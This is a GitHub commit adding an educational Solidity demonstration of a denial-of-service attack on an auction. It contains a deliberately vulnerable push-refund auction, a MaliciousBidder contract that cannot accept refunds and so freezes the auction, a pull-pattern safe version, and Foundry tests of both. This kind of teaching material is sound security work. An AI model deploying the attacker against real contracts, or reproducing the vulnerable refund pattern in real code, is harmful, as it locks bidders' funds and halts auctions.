-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
d253286
commit a323481
Showing
5 changed files
with
284 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.26; | ||
|
||
import "./VulnerableAuction.sol"; | ||
|
||
/// @title Malicious Bidder Contract | ||
/// @author Ishan Lakhwani | ||
/// @notice This contract demonstrates how to perform a DoS attack on the auction | ||
/// @dev This is an educational example of what NOT to do | ||
|
||
contract MaliciousBidder { | ||
VulnerableAuction public auction; | ||
|
||
constructor(VulnerableAuction _auction) { | ||
auction = _auction; | ||
} | ||
|
||
function attack() public payable { | ||
auction.placeBid{value: msg.value}(); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,73 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.26; | ||
|
||
/// @title Safe Auction Contract | ||
/// @author Ishan Lakhwani | ||
/// @notice This contract demonstrates a DoS-resistant auction system using pull pattern | ||
/// @dev This is a safer implementation using pull over push pattern | ||
|
||
contract SafeAuction { | ||
// Events | ||
event NewHighestBid(address indexed bidder, uint256 amount); | ||
event RefundClaimed(address indexed bidder, uint256 amount); | ||
|
||
// State variables | ||
address public highestBidder; | ||
uint256 public highestBid; | ||
|
||
// Mapping to track refunds | ||
mapping(address => uint256) public pendingReturns; | ||
|
||
/// @notice Place a new bid | ||
/// @dev Uses pull pattern - stores refunds for later withdrawal | ||
function placeBid() external payable { | ||
require(msg.value > highestBid, "Bid not high enough"); | ||
|
||
// Add previous highest bid to pending returns | ||
if (highestBidder != address(0)) { | ||
pendingReturns[highestBidder] += highestBid; | ||
} | ||
|
||
// Update auction state | ||
highestBid = msg.value; | ||
highestBidder = msg.sender; | ||
|
||
emit NewHighestBid(msg.sender, msg.value); | ||
} | ||
|
||
/// @notice Withdraw pending refunds | ||
/// @dev Allows users to pull their refunds | ||
/// @return success Whether the withdrawal was successful | ||
function withdrawRefund() external returns (bool success) { | ||
uint256 amount = pendingReturns[msg.sender]; | ||
if (amount > 0) { | ||
// Reset pending return before sending to prevent re-entrancy | ||
pendingReturns[msg.sender] = 0; | ||
|
||
// Send refund | ||
(bool sent,) = msg.sender.call{value: amount}(""); | ||
if (!sent) { | ||
// Restore the amount if send fails | ||
pendingReturns[msg.sender] = amount; | ||
return false; | ||
} | ||
emit RefundClaimed(msg.sender, amount); | ||
return true; | ||
} | ||
return false; | ||
} | ||
|
||
/// @notice Get the current auction state | ||
/// @return _highestBidder The address of the current highest bidder | ||
/// @return _highestBid The current highest bid amount | ||
function getAuctionState() external view returns (address _highestBidder, uint256 _highestBid) { | ||
return (highestBidder, highestBid); | ||
} | ||
|
||
/// @notice Get pending refund amount for an address | ||
/// @param bidder The address to check | ||
/// @return amount The amount of pending refund | ||
function getPendingRefund(address bidder) external view returns (uint256) { | ||
return pendingReturns[bidder]; | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,41 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.26; | ||
|
||
/// @title Vulnerable Auction Contract | ||
/// @author Ishan Lakhwani | ||
/// @notice This contract demonstrates a vulnerable auction system prone to DoS attacks | ||
/// @dev This contract is for demonstration purposes only - DO NOT USE IN PRODUCTION | ||
|
||
contract VulnerableAuction { | ||
// Events | ||
event NewHighestBid(address indexed bidder, uint256 amount); | ||
event BidRefunded(address indexed bidder, uint256 amount); | ||
|
||
// State variables | ||
address public highestBidder; | ||
uint256 public highestBid; | ||
|
||
function placeBid() external payable { | ||
require(msg.value > highestBid, "Bid not high enough"); | ||
|
||
address previousBidder = highestBidder; | ||
uint256 previousBid = highestBid; | ||
|
||
// Update auction state | ||
highestBid = msg.value; | ||
highestBidder = msg.sender; | ||
|
||
emit NewHighestBid(msg.sender, msg.value); | ||
|
||
// Refund the previous bidder | ||
if (previousBidder != address(0)) { | ||
(bool sent,) = previousBidder.call{value: previousBid}(""); | ||
require(sent, "Failed to refund previous bidder"); | ||
emit BidRefunded(previousBidder, previousBid); | ||
} | ||
} | ||
|
||
function getAuctionState() public view returns (address, uint256) { | ||
return (highestBidder, highestBid); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,70 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.26; | ||
|
||
import "forge-std/Test.sol"; | ||
import "forge-std/console.sol"; | ||
import "../src/denial-of-service/VulnerableAuction.sol"; | ||
import "../src/denial-of-service/MaliciousBidder.sol"; | ||
|
||
contract DoSTest is Test { | ||
VulnerableAuction public auction; | ||
MaliciousBidder public attacker; | ||
|
||
address alice = makeAddr("alice"); | ||
address bob = makeAddr("bob"); | ||
address carol = makeAddr("carol"); | ||
|
||
function setUp() public { | ||
// Setup initial balances | ||
vm.deal(alice, 5 ether); | ||
vm.deal(bob, 5 ether); | ||
vm.deal(carol, 5 ether); | ||
|
||
// Deploy contracts | ||
auction = new VulnerableAuction(); | ||
attacker = new MaliciousBidder(auction); | ||
|
||
console.log("\n[DoS-Test] Setting up auction demonstration"); | ||
console.log("----------------------------------------"); | ||
_logAuctionState("Initial State"); | ||
} | ||
|
||
function testDoSAttack() public { | ||
// Alice places first bid | ||
vm.prank(alice); | ||
auction.placeBid{value: 1 ether}(); | ||
console.log("[DoS-Test] Alice placed bid of 1 ether"); | ||
_logAuctionState("After Alice's bid"); | ||
|
||
// Bob places higher bid | ||
vm.prank(bob); | ||
auction.placeBid{value: 2 ether}(); | ||
console.log("[DoS-Test] Bob placed bid of 2 ether"); | ||
console.log("[DoS-Test] Alice received refund of 1 ether"); | ||
_logAuctionState("After Bob's bid"); | ||
|
||
// Attacker places malicious bid | ||
vm.deal(address(attacker), 3 ether); | ||
attacker.attack{value: 3 ether}(); | ||
console.log("[DoS-Test] Attacker placed bid of 3 ether"); | ||
console.log("[DoS-Test] Bob should receive refund of 2 ether"); | ||
console.log("[DoS-Test] Attack successful - Bob's refund was rejected"); | ||
_logAuctionState("After Attacker's bid"); | ||
|
||
// Carol tries to place a bid but fails | ||
vm.prank(carol); | ||
vm.expectRevert("Failed to refund previous bidder"); | ||
auction.placeBid{value: 4 ether}(); | ||
console.log("[DoS-Test] Carol's bid of 4 ether failed as expected"); | ||
console.log("[DoS-Test] Auction is now permanently stuck!"); | ||
_logAuctionState("Final State"); | ||
} | ||
|
||
function _logAuctionState(string memory state) internal view { | ||
(address currentBidder, uint256 currentBid) = auction.getAuctionState(); | ||
console.log("\n=== Auction State: %s ===", state); | ||
console.log("Highest Bidder: %s", currentBidder); | ||
console.log("Highest Bid: %s wei", currentBid); | ||
console.log("================================\n"); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,79 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.26; | ||
|
||
import "forge-std/Test.sol"; | ||
import "forge-std/console.sol"; | ||
import "../src/denial-of-service/SafeAuction.sol"; | ||
import "../src/denial-of-service/MaliciousBidder.sol"; | ||
|
||
contract SafeDoSTest is Test { | ||
SafeAuction public auction; | ||
MaliciousBidder public attacker; | ||
|
||
address alice = makeAddr("alice"); | ||
address bob = makeAddr("bob"); | ||
address carol = makeAddr("carol"); | ||
|
||
function setUp() public { | ||
// Setup initial balances | ||
vm.deal(alice, 5 ether); | ||
vm.deal(bob, 5 ether); | ||
vm.deal(carol, 5 ether); | ||
|
||
// Deploy contracts | ||
auction = new SafeAuction(); | ||
|
||
console.log("\n[SafeDoS-Test] Setting up auction demonstration"); | ||
console.log("----------------------------------------"); | ||
_logAuctionState("Initial State"); | ||
} | ||
|
||
function testSafeAuction() public { | ||
// Alice places first bid | ||
vm.prank(alice); | ||
auction.placeBid{value: 1 ether}(); | ||
console.log("[SafeDoS-Test] Alice placed bid of 1 ether"); | ||
_logAuctionState("After Alice's bid"); | ||
|
||
// Bob places higher bid | ||
vm.prank(bob); | ||
auction.placeBid{value: 2 ether}(); | ||
console.log("[SafeDoS-Test] Bob placed bid of 2 ether"); | ||
_logPendingRefund(alice, "Alice's pending refund"); | ||
|
||
// Alice withdraws her refund | ||
vm.prank(alice); | ||
bool aliceWithdrawSuccess = auction.withdrawRefund(); | ||
assertTrue(aliceWithdrawSuccess, "Alice should be able to withdraw"); | ||
console.log("[SafeDoS-Test] Alice successfully withdrew her refund"); | ||
|
||
// Carol places even higher bid | ||
vm.prank(carol); | ||
auction.placeBid{value: 3 ether}(); | ||
console.log("[SafeDoS-Test] Carol placed bid of 3 ether"); | ||
_logPendingRefund(bob, "Bob's pending refund"); | ||
|
||
// Bob withdraws his refund | ||
vm.prank(bob); | ||
bool bobWithdrawSuccess = auction.withdrawRefund(); | ||
assertTrue(bobWithdrawSuccess, "Bob should be able to withdraw"); | ||
console.log("[SafeDoS-Test] Bob successfully withdrew his refund"); | ||
|
||
_logAuctionState("Final State"); | ||
} | ||
|
||
function _logAuctionState(string memory state) internal view { | ||
(address currentBidder, uint256 currentBid) = auction.getAuctionState(); | ||
console.log("\n=== Auction State: %s ===", state); | ||
console.log("Highest Bidder: %s", currentBidder); | ||
console.log("Highest Bid: %s wei", currentBid); | ||
console.log("================================\n"); | ||
} | ||
|
||
function _logPendingRefund(address bidder, string memory label) internal view { | ||
uint256 pendingAmount = auction.getPendingRefund(bidder); | ||
console.log("\n=== %s ===", label); | ||
console.log("Amount: %s wei", pendingAmount); | ||
console.log("================================\n"); | ||
} | ||
} |